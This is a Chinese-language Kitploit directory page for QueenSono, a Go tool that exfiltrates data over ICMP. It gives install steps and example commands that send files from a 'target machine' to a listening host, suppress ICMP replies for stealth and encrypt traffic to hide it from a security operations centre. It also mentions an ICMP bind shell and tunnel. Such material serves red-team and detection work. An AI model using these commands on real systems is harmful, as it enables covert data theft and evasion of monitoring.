Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
QueenSono — 用于数据渗透的ICMP协议Golang二进制文件(+ ICMP绑定Shell、HTTP over ICMP隧道等) | Kitploit
工具/GitHubGitHub/ariary/queensono
数据泄露网络安全渗透测试命令与控制红队
GitHubariary/queensono

QueenSono

用于数据渗透的ICMP协议Golang二进制文件(+ ICMP绑定Shell、HTTP over ICMP隧道等)

查看仓库
1682723个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

QueenSono ICMP 数据外泄



一个使用 ICMP 协议(IPv4 和 IPv6)进行数据外泄的 Golang 包。

QueenSono 工具仅依赖于 ICMP 协议未被监控这一事实。这相当常见。它也可用于具有基本 ICMP 检查(例如频率和内容长度监视器)的系统,或绕过强制门户(许多公共 Wi-Fi 用于在连接 Wi-Fi 后验证用户身份,例如机场 Wi-Fi)的身份验证步骤。尝试模仿 PyExfil(以及其他工具),但思路是目标机器不一定安装了 Python(因此提供二进制文件可能很有用)。

安装 · 使用 · 备注 · 请求功能 · 🎁

安装

使用 curl

> 从发布版本获取

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

使用 go

*> 通过 go install *

请确保 $GOPATH 已加入 $PATH 中。

安装 qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # 重命名二进制文件

安装 qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # 重命名二进制文件

> 从源码安装二进制文件

克隆仓库并本地下载依赖:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

构建 ICMP 数据包发送端 qssender:

root@kitploit:~
 build.queensono-sender

构建 ICMP 数据包接收端 qsreceiver:

root@kitploit:~
 build.queensono-receiver

使用

qssender 是用于向监听器发送 ICMP 数据包的二进制文件,因此它是你需要传输到目标机器上的二进制文件。

qsreceiver 是你本地机器(或你能接收 ICMP 数据包的任何地方)上的监听器。

所有命令和标志均可通过 --help 查看。

示例 1:带“ACK”发送 🔙

> 在此示例中,我们要发送一个大文件,并等待回显应答以确认数据包的接收(ACK)。

演示

在本地机器上:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
说明
  • -l 0.0.0.0 监听所有接口上的 ICMP 数据包
  • -f received_bible.txt 将接收到的数据保存到文件中
  • -p 显示接收数据的进度条
  • 在目标机器上:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # 下载一个大文件(示例用)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    说明
  • send file 用于发送文件(bible.txt 是要发送的文件)
  • -d 2 每 2 秒发送一个数据包
  • -l 0.0.0.0 接收 回显应答 的监听地址
  • -r 10.0.0.92 远程机器(运行 qsreceiver 监听)的地址
  • -s 50000 每个数据包中要发送的数据大小
  • 示例 2:不带“ACK”发送 🙈

    > 在此示例中,我们要发送一条消息而不等待回显应答(在目标防火墙过滤传入 ICMP 数据包的情况下可能有用)

    演示

    在本地机器上:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    说明
  • receive truncated 1 如果未收到所有数据包,不会无限等待。(1 是与 qssender 配合使用的延迟时间)

  • 为增强隐蔽性,你可以阻止内核回复任何 ICMP ping 请求
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    在目标机器上:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    说明
  • -N 无回复选项(不等待 回显应答)
  • 示例 3:发送加密数据 🔒

    > 在此示例中,我们要发送加密消息。由于命令行可能被监视,我们使用非对称加密(即使密钥泄露,也不成问题)

    演示

    在本地机器上:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    说明
  • --encrypt 使用加密交换。将生成公钥/私钥。公钥将被 qssender 用于加密数据,私钥用于在 receiver 端解密。
  • 在目标机器上:

    root@kitploit:~
    $ export MSG="<你的消息>"
    $ export KEY="<qsreceiver 输出的公钥>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    说明
  • --key 提供数据加密的密钥。使用 qsreceiver 命令提供的密钥。
  • 关于加密

    RSA 加密用于保持所交换数据的机密性。例如,它有助于防止安全运营中心(SoC)通过基本分析看到交换的数据(或进行取证),或者仅仅出于隐私考虑。

    但这是有代价的。选择非对称加密的原因是加密密钥是在命令行上输入的(因此很容易被检索到)。因此,我们使用公钥加密数据。这样,即使有人获取了加密密钥,也无法解密消息。但公钥比私钥小,因此它加密更小的消息。此外,计算成本也较高。

    另一点是,由于我们希望限制每个 ping 请求的数据大小(以避免检测、错误等),仅在必要时使用加密,因为消息输出大小将(应该)始终等于模数(密钥的一部分)的大小,而模数很大。

    改进

    目前,整个消息被加密,然后分块发送。在接收端,我们等待所有数据包(分块),重建消息,然后解密。但这只有在收到所有分块的情况下才有效,否则解密会失败。

    => 我们可以根据 -s 参数分别加密每个分块,这样我们就可以分别解密它们。

    示例 4:通过回显应答接收数据 ↩️

    > 在此示例中,本地机器通过 ICMP 回显应答将数据送回目标机器。当目标发出的 ICMP 出站流量被过滤,但目标可以接收回显应答时很有用。

    在本地机器上:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    说明
  • reply-send 等待来自 qssender 的触发信号,然后以 ICMP 回显应答的形式发送数据。
  • -l 0.0.0.0 在所有接口上监听触发数据包。
  • -d 1 每个应答数据包之间的延迟为 1 秒。
  • 在目标机器上:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    说明
  • receive 向 qsreceiver 发送触发信号,并收集来自传入回显应答的数据。
  • -l 0.0.0.0 接收传入回显应答的监听地址。
  • -r 10.0.0.92 本地机器(运行 qsreceiver reply-send 等待中)的地址。
  • IPv6 支持

    QueenSono 透明地支持 ICMPv6。传入 IPv6 地址,协议会被自动检测——无需额外标志。

    在本地机器上:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    在目标机器上:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    说明
  • -l :: 监听所有 IPv6 接口
  • -r fe80::1 远程机器的 IPv6 地址——自动触发 ICMPv6
  • 所有模式(带 ACK 发送、不带 ACK 发送、加密、回显应答)在 IPv6 上工作方式相同。

    彩蛋

    请参阅 hack 部分,了解使用 QueenSono 的有趣内容:

    • 使用 ICMP 的绑定 shell
    • 通过 ICMP 的 HTTP 隧道

    备注

    • 仅适用于 Linux(因使用 golang net icmp 包)
    • 需要 cap_net_raw 能力
    • 同时支持 IPv4(ICMP)和 IPv6(ICMPv6)——根据地址自动检测
    • 如果你确实在两台不同的机器上发送 ICMP 数据包并等待回显应答,请确保使用远程机器可达的 IP 作为监听地址(不要使用 localhost 或类似地址)
    下载工具